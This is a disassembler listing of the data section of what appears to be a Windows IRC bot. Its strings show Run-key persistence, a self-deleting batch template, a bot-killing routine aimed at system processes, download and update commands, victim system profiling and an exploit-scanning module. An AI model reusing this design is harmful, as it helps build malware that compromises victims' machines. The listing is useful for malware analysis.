; DATA XREF: sub_41B3D0+1A4o
align 4
aBadAllocati_10 db 'bad allocation',0
align 10h
dd 428A2F98h, 71374491h, 0B5C0FBCFh, 0E9B5DBA5h, 3956C25Bh
dd 59F111F1h, 923F82A4h, 0AB1C5ED5h, 0D807AA98h, 12835B01h
dd 243185BEh, 550C7DC3h, 72BE5D74h, 80DEB1FEh, 9BDC06A7h
dd 0C19BF174h, 0E49B69C1h, 0EFBE4786h, 0FC19DC6h, 240CA1CCh
dd 2DE92C6Fh, 4A7484AAh, 5CB0A9DCh, 76F988DAh, 983E5152h
dd 0A831C66Dh, 0B00327C8h, 0BF597FC7h, 0C6E00BF3h, 0D5A79147h
dd 6CA6351h, 14292967h, 27B70A85h, 2E1B2138h, 4D2C6DFCh
dd 53380D13h, 650A7354h, 766A0ABBh, 81C2C92Eh, 92722C85h
dd 0A2BFE8A1h, 0A81A664Bh, 0C24B8B70h, 0C76C51A3h, 0D192E819h
dd 0D6990624h, 0F40E3585h, 106AA070h, 19A4C116h, 1E376C08h
dd 2748774Ch, 34B0BCB5h, 391C0CB3h, 4ED8AA4Ah, 5B9CCA4Fh
dd 682E6FF3h, 748F82EEh, 78A5636Fh, 84C87814h, 8CC70208h
dd 90BEFFFAh, 0A4506CEBh, 0BEF9A3F7h, 0C67178F2h, 6A09E667h
dd 0BB67AE85h, 3C6EF372h, 0A54FF53Ah, 510E527Fh, 9B05688Ch
dd 1F83D9ABh, 5BE0CD19h
dword_41F950 dd 0D728AE22h ; DATA XREF: sub_4143D0+318r
dword_41F954 dd 428A2F98h ; DATA XREF: sub_4143D0+31Fr
dword_41F958 dd 23EF65CDh ; DATA XREF: sub_4143D0+548r
dword_41F95C dd 71374491h ; DATA XREF: sub_4143D0+54Fr
dword_41F960 dd 0EC4D3B2Fh ; DATA XREF: sub_4143D0+772r
dword_41F964 dd 0B5C0FBCFh ; DATA XREF: sub_4143D0+779r
dword_41F968 dd 8189DBBCh ; DATA XREF: sub_4143D0+9B8r
dword_41F96C dd 0E9B5DBA5h ; DATA XREF: sub_4143D0+9BFr
dword_41F970 dd 0F348B538h ; DATA XREF: sub_4143D0+BFEr
dword_41F974 dd 3956C25Bh ; DATA XREF: sub_4143D0+C09r
dword_41F978 dd 0B605D019h ; DATA XREF: sub_4143D0+E80r
dword_41F97C dd 59F111F1h ; DATA XREF: sub_4143D0+E87r
dword_41F980 dd 0AF194F9Bh ; DATA XREF: sub_4143D0+10D7r
dword_41F984 dd 923F82A4h ; DATA XREF: sub_4143D0+10DEr
dword_41F988 dd 0DA6D8118h ; DATA XREF: sub_4143D0+1319r
dword_41F98C dd 0AB1C5ED5h ; DATA XREF: sub_4143D0+1320r
dword_41F990 dd 0A3030242h ; DATA XREF: sub_4143D0+1569r
dword_41F994 dd 0D807AA98h ; DATA XREF: sub_4143D0+1570r
dword_41F998 dd 45706FBEh ; DATA XREF: sub_4143D0+17ABr
dword_41F99C dd 12835B01h ; DATA XREF: sub_4143D0+17B2r
dword_41F9A0 dd 4EE4B28Ch ; DATA XREF: sub_4143D0+19F3r
dword_41F9A4 dd 243185BEh ; DATA XREF: sub_4143D0+19FAr
dword_41F9A8 dd 0D5FFB4E2h ; DATA XREF: sub_4143D0+1C39r
dword_41F9AC dd 550C7DC3h ; DATA XREF: sub_4143D0+1C40r
dword_41F9B0 dd 0F27B896Fh ; DATA XREF: sub_4143D0+1E91r
dword_41F9B4 dd 72BE5D74h ; DATA XREF: sub_4143D0+1E9Cr
dword_41F9B8 dd 3B1696B1h ; DATA XREF: sub_4143D0+210Dr
dword_41F9BC dd 80DEB1FEh ; DATA XREF: sub_4143D0+2114r
dword_41F9C0 dd 25C71235h ; DATA XREF: sub_4143D0+236Ar
dword_41F9C4 dd 9BDC06A7h ; DATA XREF: sub_4143D0+2371r
dword_41F9C8 dd 0CF692694h ; DATA XREF: sub_4143D0+25B8r
dword_41F9CC dd 0C19BF174h ; DATA XREF: sub_4143D0+25BFr
dd 9EF14AD2h, 0E49B69C1h, 384F25E3h, 0EFBE4786h, 8B8CD5B5h
dd 0FC19DC6h, 77AC9C65h, 240CA1CCh, 592B0275h, 2DE92C6Fh
dd 6EA6E483h, 4A7484AAh, 0BD41FBD4h, 5CB0A9DCh, 831153B5h
dd 76F988DAh, 0EE66DFABh, 983E5152h, 2DB43210h, 0A831C66Dh
dd 98FB213Fh, 0B00327C8h, 0BEEF0EE4h, 0BF597FC7h, 3DA88FC2h
dd 0C6E00BF3h, 930AA725h, 0D5A79147h, 0E003826Fh, 6CA6351h
dd 0A0E6E70h, 14292967h, 46D22FFCh, 27B70A85h, 5C26C926h
dd 2E1B2138h, 5AC42AEDh, 4D2C6DFCh, 9D95B3DFh, 53380D13h
dd 8BAF63DEh, 650A7354h, 3C77B2A8h, 766A0ABBh, 47EDAEE6h
dd 81C2C92Eh, 1482353Bh, 92722C85h, 4CF10364h, 0A2BFE8A1h
dd 0BC423001h, 0A81A664Bh, 0D0F89791h, 0C24B8B70h, 654BE30h
dd 0C76C51A3h, 0D6EF5218h, 0D192E819h, 5565A910h, 0D6990624h
dd 5771202Ah, 0F40E3585h, 32BBD1B8h, 106AA070h, 0B8D2D0C8h
dd 19A4C116h, 5141AB53h, 1E376C08h, 0DF8EEB99h, 2748774Ch
dd 0E19B48A8h, 34B0BCB5h, 0C5C95A63h, 391C0CB3h, 0E3418ACBh
dd 4ED8AA4Ah, 7763E373h, 5B9CCA4Fh, 0D6B2B8A3h, 682E6FF3h
dd 5DEFB2FCh, 748F82EEh, 43172F60h, 78A5636Fh, 0A1F0AB72h
dd 84C87814h, 1A6439ECh, 8CC70208h, 23631E28h, 90BEFFFAh
dd 0DE82BDE9h, 0A4506CEBh, 0B2C67915h, 0BEF9A3F7h, 0E372532Bh
dd 0C67178F2h, 0EA26619Ch, 0CA273ECEh, 21C0C207h, 0D186B8C7h
dd 0CDE0EB1Eh, 0EADA7DD6h, 0EE6ED178h, 0F57D4F7Fh, 72176FBAh
dd 6F067AAh, 0A2C898A6h, 0A637DC5h, 0BEF90DAEh, 113F9804h
dd 131C471Bh, 1B710B35h, 23047D84h, 28DB77F5h, 40C72493h
dd 32CAAB7Bh, 15C9BEBCh, 3C9EBE0Ah, 9C100D4Ch, 431D67C4h
dd 0CB3E42B6h, 4CC5D4BEh, 0FC657E2Ah, 597F299Ch, 3AD6FAECh
dd 5FCB6FABh, 4A475817h, 6C44198Ch, 0C1059ED8h, 0CBBB9D5Dh
dd 367CD507h, 629A292Ah, 3070DD17h, 9159015Ah, 0F70E5939h
dd 152FECD8h, 0FFC00B31h, 67332667h, 68581511h, 8EB44A87h
dd 64F98FA7h, 0DB0C2E0Dh, 0BEFA4FA4h, 47B5481Dh, 90h dup(0)
dword_41FE50 dd 0F3BCC908h, 6A09E667h, 84CAA73Bh, 0BB67AE85h, 0FE94F82Bh
; DATA XREF: sub_4143A0+17o
dd 3C6EF372h, 5F1D36F1h, 0A54FF53Ah, 0ADE682D1h, 510E527Fh
dd 2B3E6C1Fh, 9B05688Ch, 0FB41BD6Bh, 1F83D9ABh, 137E2179h
dd 5BE0CD19h, 90h dup(0)
aBadAllocati_11 db 'bad allocation',0
align 10h
aBadAllocati_12 db 'bad allocation',0
align 10h
; char Format[]
Format db '%s\%s',0 ; DATA XREF: sub_416F86+DCo
align 4
aSoftwareMicros db 'SOFTWARE\Microsoft\Windows\CurrentVersion\Run',0
; DATA XREF: sub_416F86+10Co
align 4
aSoftwareMicr_0 db 'SOFTWARE\Microsoft\Windows\CurrentVersion\Run',0
; DATA XREF: sub_416F86+14Fo
align 4
; char aSS_1[]
aSS_1 db '%s\%s',0 ; DATA XREF: sub_417119+BAo
align 10h
aSoftwareMicr_1 db 'SOFTWARE\Microsoft\Windows\CurrentVersion\Run',0
; DATA XREF: sub_417119+F9o
align 10h
aSoftwareMicr_2 db 'SOFTWARE\Microsoft\Windows\CurrentVersion\Run',0
; DATA XREF: sub_417119+14Do
align 10h
aBadAllocati_13 db 'bad allocation',0
align 10h
aIrn db '--irn ',0 ; DATA XREF: .text:0041BC44o
align 4
aSS db '%s\%s',0 ; DATA XREF: .text:0041BCF1o
align 10h
aSSS db '%s %s%s',0 ; DATA XREF: .text:0041BDBFo
aS db '%s',0 ; DATA XREF: .text:0041BE51o
align 4
aRm db 'RM',0 ; DATA XREF: .text:0041BF25o
align 10h
aBk db 'BK',0 ; DATA XREF: .text:0041BF5Eo
align 4
aUnm db 'UNM',0 ; DATA XREF: .text:0041BF83o
aBadAllocati_14 db 'bad allocation',0
align 4
; char aSS_7[]
aSS_7 db '%s %s',0Dh,0Ah,0 ; DATA XREF: sub_41829C+42o
; char aSS_5[]
aSS_5 db '%s %s',0Dh,0Ah,0 ; DATA XREF: sub_41802F+159o
; char aSS_6[]
aSS_6 db '%s-%s',0 ; DATA XREF: sub_41802F+1D6o
align 10h
; char aSSSS00S[]
aSSSS00S db '%s %s',0Dh,0Ah ; DATA XREF: sub_41802F+24Do
db '%s %s 0 0 :%s',0Dh,0Ah,0
align 4
; char asc_420238[]
asc_420238 db 0Dh,0Ah,0 ; DATA XREF: sub_417F01+7Eo
align 4
; char aS_18[]
aS_18 db '%s',0 ; DATA XREF: sub_417F01+B6o
align 10h
; char asc_420240[]
asc_420240 db 0Dh,0Ah,0 ; DATA XREF: sub_417F01+CBo
align 4
; char aSSS_0[]
aSSS_0 db '%s %s %s',0Dh,0Ah,0 ; DATA XREF: sub_417361+C2o
align 10h
; char aS_5[]
aS_5 db '%s',0 ; DATA XREF: sub_41783D+4Ao
align 4
; char SubStr[]
SubStr db ' :',0 ; DATA XREF: sub_41783D+7Eo
align 4
; char aS_6[]
aS_6 db '%s',0 ; DATA XREF: sub_41783D+8Ao
align 4
; char asc_42025C[]
asc_42025C: ; DATA XREF: sub_41783D+E1o
unicode 0, < >,0
; char aS_7[]
aS_7 db '%s',0 ; DATA XREF: sub_41783D+FAo
align 4
; char asc_420264[]
asc_420264: ; DATA XREF: sub_41783D+124o
unicode 0, < >,0
; char aSS_4[]
aSS_4 db '%s %s',0Dh,0Ah,0 ; DATA XREF: sub_41783D+24Ao
; char aSSS_1[]
aSSS_1 db '%s %s %s',0Dh,0Ah,0 ; DATA XREF: sub_41783D+31Eo
align 4
a001 db '001',0 ; DATA XREF: sub_41783D+33Ao
; char aSSSSSS[]
aSSSSSS db '%s %s %s',0Dh,0Ah ; DATA XREF: sub_41783D+3D3o
db '%s %s %s',0Dh,0Ah,0
align 4
a332 db '332',0 ; DATA XREF: sub_41783D+417o
; char asc_42029C[]
asc_42029C db ' :',0 ; DATA XREF: sub_41783D+499o
align 10h
; char aS_8[]
aS_8 db '%s',0 ; DATA XREF: sub_41783D+4A5o
align 4
; char asc_4202A4[]
asc_4202A4: ; DATA XREF: sub_41783D+4D9o
unicode 0, <!>,0
; char aS_9[]
aS_9 db '%s',0 ; DATA XREF: sub_41783D+4E5o
align 4
a332_0 db '332',0 ; DATA XREF: sub_41783D+52Do
; char aS_10[]
aS_10 db '%s',0 ; DATA XREF: sub_41783D+546o
align 4
; char aS_11[]
aS_11 db '%s',0 ; DATA XREF: sub_41783D+5B1o
align 4
; char aS_12[]
aS_12 db '%s',0 ; DATA XREF: sub_41783D+5DFo
align 4
asc_4202BC: ; DATA XREF: sub_41783D+64Eo
unicode 0, <;>,0
; char asc_4202C0[]
asc_4202C0: ; DATA XREF: sub_41783D:loc_417E92o
unicode 0, <;>,0
; char asc_4202C4[]
asc_4202C4: ; DATA XREF: sub_41783D:loc_417E9Fo
unicode 0, <;>,0
; char Delim[]
Delim: ; DATA XREF: sub_417676+Co
unicode 0, < >,0
; char Str2[]
Str2 db '-s',0 ; DATA XREF: sub_417676+27o
align 10h
; char aS_17[]
aS_17 db '/s',0 ; DATA XREF: sub_417676+3Fo
align 4
; char asc_4202D4[]
asc_4202D4: ; DATA XREF: sub_417676:loc_4176CAo
unicode 0, < >,0
aQwertyuiopasdf db 'qwertyuiopasdfghjklzxcvbnmQWERTYUIOPLKJHGFDSAZXCVBNM',0
; DATA XREF: sub_41748B+21o
align 10h
; char asc_420310[]
asc_420310: ; DATA XREF: sub_41748B+5Eo
unicode 0, <[>,0
; char aSS_2[]
aSS_2 db '%s%s|',0 ; DATA XREF: sub_41748B+95o
align 4
; char aSS_3[]
aSS_3 db '%s%s|',0 ; DATA XREF: sub_41748B+C5o
align 4
; char aSp[]
aSp db '%sP|',0 ; DATA XREF: sub_41748B+F0o
align 4
; char aS0I64u[]
aS0I64u db '%s0%I64u|',0 ; DATA XREF: sub_41748B+12Fo
align 4
; char aSI64u[]
aSI64u db '%s%I64u|',0 ; DATA XREF: sub_41748B+150o
align 4
; char aSC[]
aSC db '%s%c',0 ; DATA XREF: sub_41748B+18Fo
align 4
; char aS_4[]
aS_4 db '%s]',0 ; DATA XREF: sub_41748B+1BAo
aBadAllocati_15 db 'bad allocation',0
align 10h
aHs db 'HS',0 ; DATA XREF: sub_418D17+28o
align 4
asc_420364: ; DATA XREF: sub_418C40+89o
unicode 0, < >,0
; char aSS_9[]
aSS_9 db '%s\%s',0 ; DATA XREF: sub_418B1F+4Eo
align 10h
aGet db 'GET',0 ; DATA XREF: sub_418552+B7o
; char aQue?[]
aQue? db 'Que?',0 ; DATA XREF: sub_418552+C7o
align 10h
; char aHttp1_1501NotI[]
aHttp1_1501NotI db 'HTTP/1.1 501 Not Implemented',0Dh,0Ah ; DATA XREF: sub_418552+10Fo
db 'Content-Length: %d',0Dh,0Ah
db 'Connection: close',0Dh,0Ah
db 0Dh,0Ah,0
; char aSSSS[]
aSSSS db '%s\%s\%s%s',0 ; DATA XREF: sub_418552+229o
align 4
; char aSSS_2[]
aSSS_2 db '%s\%s\%s',0 ; DATA XREF: sub_418552+1F2o
align 10h
; char aSS_8[]
aSS_8 db '%s\%s',0 ; DATA XREF: sub_418552+25Ao
align 4
; char aQue?_1[]
aQue?_1 db 'Que?',0 ; DATA XREF: sub_418552+3A8o
align 10h
; char aQue?_0[]
aQue?_0 db 'Que?',0 ; DATA XREF: sub_418552+2BEo
align 4
; char aHttp1_1200OkCo[]
aHttp1_1200OkCo db 'HTTP/1.1 200 ok',0Dh,0Ah ; DATA XREF: sub_418552+3FCo
db 'Content-Length: %d',0Dh,0Ah
db 'Connection: close',0Dh,0Ah
db 0Dh,0Ah,0
align 4
; char aHttpTransferD_[]
aHttpTransferD_ db 'HTTP: Transfer: %d.%d.%d.%d (N/A). %d Total Sends.',0
; DATA XREF: sub_418552+51Do
align 4
; char aHttpTransfer_0[]
aHttpTransfer_0 db 'HTTP: Transfer: %d.%d.%d.%d (%s). %d Total Sends.',0
; DATA XREF: sub_418552+54Ao
align 4
; char asc_42049C[]
asc_42049C db 0Dh,0Ah,0 ; DATA XREF: sub_4184BF+11o
align 10h
; char asc_4204A0[]
asc_4204A0: ; DATA XREF: sub_4184BF:loc_4184EBo
unicode 0, < >,0
; char asc_4204A4[]
asc_4204A4: ; DATA XREF: sub_4184BF+3Do
unicode 0, < >,0
; char asc_4204A8[]
asc_4204A8: ; DATA XREF: sub_4184BF+54o
unicode 0, < >,0
; char asc_4204AC[]
asc_4204AC db 0Dh,0Ah ; DATA XREF: sub_4184BF+78o
db 0Dh,0Ah,0
align 4
; char asc_4204B4[]
asc_4204B4 db '%x',0 ; DATA XREF: sub_418396+CAo
align 4
aBadAllocati_16 db 'bad allocation',0
align 4
; char aS_16[]
aS_16 db '%s',0 ; DATA XREF: sub_41B7F9+74o
align 4
; char aSX[]
aSX db '%s%X',0 ; DATA XREF: sub_41B7F9+ECo
align 4
aBadAllocati_17 db 'bad allocation',0
align 4
; char a[]
a@echoOff1DelSI db '@echo off',0Dh,0Ah ; DATA XREF: sub_4190BD+7Eo
db ':1',0Dh,0Ah
db 'del "%s"',0Dh,0Ah
db 'if exist "%s" goto 1',0Dh,0Ah
db 'del "%%0"',0Dh,0Ah,0
align 10h
; char aSTmpIIICCC_bat[]
aSTmpIIICCC_bat db '%s\tmp-%i%i%i-%c%c%c.bat',0 ; DATA XREF: sub_4190BD+FCo
align 4
; char Mode[]
Mode: ; DATA XREF: sub_4190BD+110o
unicode 0, <w>,0
; char aS_14[]
aS_14 db '%s',0 ; DATA XREF: sub_4190BD+12Bo
align 4
aRegistryMonito db 'Registry Monitor',0 ; DATA XREF: sub_419477+D9o
align 4
aSoftwareMicr_3 db 'SOFTWARE\Microsoft\Windows\CurrentVersion\Run',0
; DATA XREF: sub_419477+12Ao
align 4
aQuitSYouKill_0 db 'QUIT :%s YOU KILLED ME :<',0Dh,0Ah,0
; char aQuitSYouKilled[]
aQuitSYouKilled db 'QUIT :%s YOU KILLED ME :< --UPDATED',0Dh,0Ah,0
; DATA XREF: sub_419477+15Ao
align 4
aRemoveAuthenti db 'Remove: Authentication Failed.',0
align 4
; char aD_D_D_D_0[]
aD_D_D_D_0 db '%d.%d.%d.%d',0 ; DATA XREF: sub_418FC6+4Eo
aVis db 'VIS',0 ; DATA XREF: sub_418E51+42o
a2k3 db '2K3',0 ; DATA XREF: sub_418E51+55o
aXp db 'XP',0 ; DATA XREF: sub_418E51+62o
align 4
a2k db '2K',0 ; DATA XREF: sub_418E51+6Eo
align 4
aMe db 'ME',0 ; DATA XREF: sub_418E51+81o
align 4
a98 db '98',0 ; DATA XREF: sub_418E51+8Eo
align 10h
aNt db 'NT',0 ; DATA XREF: sub_418E51+A0o
align 4
a95 db '95',0 ; DATA XREF: sub_418E51+ADo
align 4
; char aUnk[]
aUnk db 'UNK',0 ; DATA XREF: sub_418E51:loc_418F05o
; char aOsMicrosoftWin[]
aOsMicrosoftWin db '[OS: Microsoft Windows %s %s (%i.%i build %i)]',0
; DATA XREF: sub_418E51+108o
align 4
; char aS_13[]
aS_13 db '%s',0 ; DATA XREF: sub_418E51+13Ao
align 10h
a192_168__ db '192.168.*.*',0 ; DATA XREF: sub_419347+32o
a10___ db '10.*.*.*',0 ; DATA XREF: sub_419347+46o
align 4
a111___ db '111.*.*.*',0 ; DATA XREF: sub_419347+5Ao
align 4
a15___ db '15.*.*.*',0 ; DATA XREF: sub_419347+6Eo
align 10h
a16___ db '16.*.*.*',0 ; DATA XREF: sub_419347+82o
align 4
a101___ db '101.*.*.*',0 ; DATA XREF: sub_419347+96o
align 4
a110___ db '110.*.*.*',0 ; DATA XREF: sub_419347+A6o
align 4
a112___ db '112.*.*.*',0 ; DATA XREF: sub_419347+B6o
align 10h
a170_65__ db '170.65.*.*',0 ; DATA XREF: sub_419347+C6o
align 4
; char a172_D__[]
a172_D__ db '172.%d.*.*',0 ; DATA XREF: sub_419347+E0o
align 4
aBadAllocati_18 db 'bad allocation',0
align 4
aBadAllocati_19 db 'bad allocation',0
align 4
aMessageboxa_0 db 'MessageBoxA',0 ; DATA XREF: sub_419677+12o
aUser32_dll_0 db 'user32.dll',0 ; DATA XREF: sub_419677+17o
align 10h
dword_420700 dd 0D010Fh, 0C3000000h, 0 ; DATA XREF: sub_4195EC+19o
aBadAllocati_20 db 'bad allocation',0
align 4
aBadAllocati_21 db 'bad allocation',0
align 4
; char aSC_0[]
aSC_0 db '%s%c',0 ; DATA XREF: sub_4196D1+55o
align 4
aBadAllocati_22 db 'bad allocation',0
align 4
aWinlogon_exe db 'winlogon.exe',0 ; DATA XREF: sub_419EA0+3Co
align 4
aSvchost_exe db 'svchost.exe',0 ; DATA XREF: sub_419EA0+44o
aServices_exe db 'services.exe',0 ; DATA XREF: sub_419EA0+4Co
align 10h
aOpenthread db 'OpenThread',0 ; DATA XREF: sub_419EA0+5Fo
align 4
aKernel32_dll_1 db 'kernel32.dll',0 ; DATA XREF: sub_419EA0+64o
align 4
aOpenprocess db 'OpenProcess',0 ; DATA XREF: sub_419EA0+78o
aKernel32_dll_2 db 'kernel32.dll',0 ; DATA XREF: sub_419EA0+7Do
align 4
aCreatetoolhelp db 'CreateToolhelp32Snapshot',0 ; DATA XREF: sub_419EA0+8Co
align 4
aKernel32_dll_3 db 'kernel32.dll',0 ; DATA XREF: sub_419EA0+91o
align 4
aProcess32first db 'Process32First',0 ; DATA XREF: sub_419EA0+A0o
align 4
aKernel32_dll_4 db 'kernel32.dll',0 ; DATA XREF: sub_419EA0+A5o
align 4
aProcess32next db 'Process32Next',0 ; DATA XREF: sub_419EA0+B4o
align 4
aKernel32_dll_5 db 'kernel32.dll',0 ; DATA XREF: sub_419EA0+B9o
align 4
aModule32first db 'Module32First',0 ; DATA XREF: sub_419EA0+C8o
align 4
aKernel32_dll_6 db 'kernel32.dll',0 ; DATA XREF: sub_419EA0+CDo
align 4
aModule32next db 'Module32Next',0 ; DATA XREF: sub_419EA0+DCo
align 4
aKernel32_dll_7 db 'kernel32.dll',0 ; DATA XREF: sub_419EA0+E1o
align 4
aThread32first db 'Thread32First',0 ; DATA XREF: sub_419EA0+F0o
align 4
aKernel32_dll_8 db 'kernel32.dll',0 ; DATA XREF: sub_419EA0+F5o
align 4
aThread32next db 'Thread32Next',0 ; DATA XREF: sub_419EA0+104o
align 4
aKernel32_dll_9 db 'kernel32.dll',0 ; DATA XREF: sub_419EA0+109o
align 4
aReadprocessmem db 'ReadProcessMemory',0 ; DATA XREF: sub_419EA0+118o
align 4
aKernel32_dl_10 db 'kernel32.dll',0 ; DATA XREF: sub_419EA0+11Do
align 4
aGetmodulefilen db 'GetModuleFileNameExA',0 ; DATA XREF: sub_419EA0+12Co
align 10h
aPsapi_dll db 'psapi.dll',0 ; DATA XREF: sub_419EA0+131o
align 4
; char aSS_11[]
aSS_11 db '%s\%s',0 ; DATA XREF: sub_419EA0+1F5o
align 4
aSedebugprivile db 'SeDebugPrivilege',0 ; DATA XREF: sub_419EA0+2BEo
align 4
aSedebugprivi_0 db 'SeDebugPrivilege',0 ; DATA XREF: sub_419EA0+365o
align 4
; char aSystem[]
aSystem db 'System',0 ; DATA XREF: sub_419EA0+390o
align 4
; char aBotKilledS[]
aBotKilledS db 'Bot Killed: %s',0 ; DATA XREF: sub_419EA0+451o
align 4
aSoftwareMicr_4 db 'SOFTWARE\Microsoft\Windows\CurrentVersion\Run',0
; DATA XREF: sub_419A9F+36o
align 4
aSoftwareMicr_5 db 'SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce',0
; DATA XREF: sub_419A9F+3Do
align 4
aSoftwareMicr_6 db 'SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnceEx',0
; DATA XREF: sub_419A9F+44o
aSoftwareMicr_7 db 'SOFTWARE\Microsoft\Windows\CurrentVersion\RunServices',0
; DATA XREF: sub_419A9F+4Bo
align 4
aSystemControls db 'SYSTEM\ControlSet001\Services\Eventlog\System',0
; DATA XREF: sub_419C6D+26o
align 4
; char aSS_10[]
aSS_10 db '%s\%s',0 ; DATA XREF: sub_419C6D+E4o
align 4
; char aLdm[]
aLdm db 'LDM',0 ; DATA XREF: sub_419C6D+118o
aNetdde db 'NetDDE',0 ; DATA XREF: sub_419C6D+12Bo
align 4
aEventmessagefi db 'EventMessageFile',0 ; DATA XREF: sub_419C6D+142o
align 4
aBadAllocati_23 db 'bad allocation',0
align 4
aListTTooLong db 'list<T> too long',0 ; DATA XREF: sub_40121E+2Bo
; sub_4016BA+2Bo
align 10h
dd offset dword_420E80
off_420A74 dd offset nullsub_2 ; DATA XREF: sub_41BB84+23o
; char aS_19[]
aS_19 db '%s',0 ; DATA XREF: sub_40177B+EBo
; sub_4019F3+EBo ...
align 4
aE db '-e',0 ; DATA XREF: sub_40177B+1D5o
align 10h
a1_0: ; DATA XREF: sub_40177B+1E7o
unicode 0, <1>,0
aDl_0 db 'DL',0 ; DATA XREF: sub_40177B+23Fo
; sub_4019F3+1F1o
align 4
aDlAuthFailure_ db 'DL: Auth Failure.',0 ; DATA XREF: sub_40177B:loc_4019C8o
align 4
; char aDlInvalidArgum[]
aDlInvalidArgum db 'DL: Invalid Arguments',0 ; DATA XREF: sub_40177B:loc_4019D5o
align 4
aUpdAuthFailure db 'UPD: Auth Failure.',0 ; DATA XREF: sub_4019F3:loc_401BF2o
align 4
; char aUpdInvalidArgu[]
aUpdInvalidArgu db 'UPD: Invalid Arguments.',0 ; DATA XREF: sub_4019F3:loc_401BFFo
dd offset dword_421030
off_420AE4 dd offset sub_40177B ; DATA XREF: sub_41C370+4Ao
; .data:off_433C58o
dd offset dword_420FE4
off_420AEC dd offset sub_4019F3 ; DATA XREF: sub_41C370+66o
; .data:off_433C54o
; char aHttpSDS[]
aHttpSDS db 'http://%s:%d/%s',0 ; DATA XREF: sub_401C1D+77o
dd offset dword_42107C
off_420B04 dd offset sub_401C1D ; DATA XREF: sub_41C370+82o
; .data:off_433C5Co
; char aSystemSCpuIXS[]
aSystemSCpuIXS@ db 'System: %s [CPU: %i x %s @ %dMhz] [RAM: %iMB/%iMB] [Country: %s] '
; DATA XREF: sub_401CC0+185o
db '[IP: %s] [User: %s] [System Dir: %s] [Uptime: %I64ud %I64uh %I64u'
db 'm]',0
align 10h
; char aNetIpSHostNA[]
aNetIpSHostNA db 'Net: IP: %s Host: N/A',0 ; DATA XREF: sub_401E82+55o
align 4
; char aNetIpSHostS[]
aNetIpSHostS db 'Net: IP: %s Host: %s',0 ; DATA XREF: sub_401E82+73o
align 10h
dd offset dword_421114
off_420BC4 dd offset sub_401CC0 ; DATA XREF: sub_41C370+9Eo
; .data:off_433C60o
dd offset dword_4210C8
off_420BCC dd offset sub_401E82 ; DATA XREF: sub_41C370+BAo
; .data:off_433C64o
; char aScanUnknownExp[]
aScanUnknownExp db 'Scan: Unknown Exploit.',0 ; DATA XREF: sub_401F1C:loc_402001o
align 4
a____0 db '*.*.*.*',0 ; DATA XREF: sub_401F1C+107o
aA db '-a',0 ; DATA XREF: sub_401F1C+146o
align 4
aB db '-b',0 ; DATA XREF: sub_401F1C+155o
align 4
aC db '-c',0 ; DATA XREF: sub_401F1C+164o
align 4
; char aScanNotEnoughT[]
aScanNotEnoughT db 'Scan: Not Enough Threads. %d Available.',0 ; DATA XREF: sub_401F1C+1AEo
; char aD_D_D_D_1[]
aD_D_D_D_1 db '%d.%d.%d.%d',0 ; DATA XREF: sub_401F1C+228o
; sub_401F1C+365o
; char aX_[]
aX_ db 'x.',0 ; DATA XREF: sub_401F1C+23Fo
align 4
; char aD_[]
aD_ db '%d.',0 ; DATA XREF: sub_401F1C+253o
; char aSx_[]
aSx_ db '%sx.',0 ; DATA XREF: sub_401F1C+26Bo
align 10h
; char aSD_[]
aSD_ db '%s%d.',0 ; DATA XREF: sub_401F1C+266o
align 4
; char aSx[]
aSx db '%sx',0 ; DATA XREF: sub_401F1C+2C8o
; char aSD[]
aSD db '%s%d',0 ; DATA XREF: sub_401F1C+2DDo
align 4
; char aD_x_x_x[]
aD_x_x_x db '%d.x.x.x',0 ; DATA XREF: sub_401F1C+3BEo
align 10h
; char aD_D_x_x[]
aD_D_x_x db '%d.%d.x.x',0 ; DATA XREF: sub_401F1C+3A7o
align 4
; char aD_D_D_x[]
aD_D_D_x db '%d.%d.%d.x',0 ; DATA XREF: sub_401F1C+38Do
align 4
; char aScanSDUsingDTh[]
aScanSDUsingDTh db 'Scan: %s:%d Using %d Threads.',0 ; DATA XREF: sub_401F1C+408o
align 4
aScanner db 'Scanner',0 ; DATA XREF: sub_401F1C+4E8o
; sub_40243A+42o
; char aScanAllScanThr[]
aScanAllScanThr db 'Scan: All Scan Threads Stopped. %d killed.',0
; DATA XREF: sub_40243A+BFo
align 4
; char aStatisticsExpl[]
aStatisticsExpl db 'Statistics: Exploits:',0 ; DATA XREF: sub_40251A+3Bo
align 4
; char aSSD[]
aSSD db '%s %s: %d',0 ; DATA XREF: sub_40251A+62o
align 10h
; char aSDaemons[]
aSDaemons db '%s; Daemons:',0 ; DATA XREF: sub_40251A+84o
align 10h
; char aSTftpD[]
aSTftpD db '%s TFTP: %d',0 ; DATA XREF: sub_40251A+9Ao
; char aSHttpD[]
aSHttpD db '%s HTTP: %d',0 ; DATA XREF: sub_40251A+B0o
dd offset dword_4211F8
off_420D1C dd offset sub_401F1C ; DATA XREF: sub_41C370+E4o
; .data:off_433C74o
dd offset dword_4211AC
off_420D24 dd offset sub_40243A ; DATA XREF: sub_41C370+100o
; .data:off_433C6Co
dd offset dword_421160
off_420D2C dd offset sub_40251A ; DATA XREF: sub_41C370+11Co
; .data:off_433C70o
dbl_420D30 dq 5.0e-1 ; DATA XREF: .text:loc_41AF68r
flt_420D38 dd 4.2949673e9 ; DATA XREF: .text:0041AF62r
align 10h
dd 48h, 0Eh dup(0)
dd offset dword_423064
dd offset dword_421250
dd 10h
dword_420D88 dd 3 dup(0) ; DATA XREF: .rdata:0041D334o
dd offset off_423008
dd offset dword_420D9C
dword_420D9C dd 2 dup(0) ; DATA XREF: .rdata:00420D98o
dd 3, 420DACh, 420DBCh, 420F48h, 420F94h, 0
dd offset off_423008
dd 2, 0
dd 0FFFFFFFFh, 0
dd 40h, 420D9Ch
dword_420DD8 dd 3 dup(0) ; DATA XREF: .rdata:0041D368o
dd offset dword_425958
dd offset dword_420FB0
dword_420DEC dd 3 dup(0) ; DATA XREF: .rdata:0041D388o
dd offset off_423030
dd offset dword_420E00
dword_420E00 dd 2 dup(0) ; DATA XREF: .rdata:00420DFCo
dd 1, 420E10h, 420E18h, 0
dd offset off_423030
dd 2 dup(0)
dd 0FFFFFFFFh, 0
dd 40h, 420E00h
dword_420E34 dd 3 dup(0) ; DATA XREF: .rdata:0041DC20o
dd offset off_423E50
dd offset dword_420E48
dword_420E48 dd 2 dup(0) ; DATA XREF: .rdata:00420E44o
dd 2, 420E58h, 420E64h, 420F94h, 0
dd offset off_423E50
dd 1, 0
dd 0FFFFFFFFh, 0
dd 40h, 420E48h
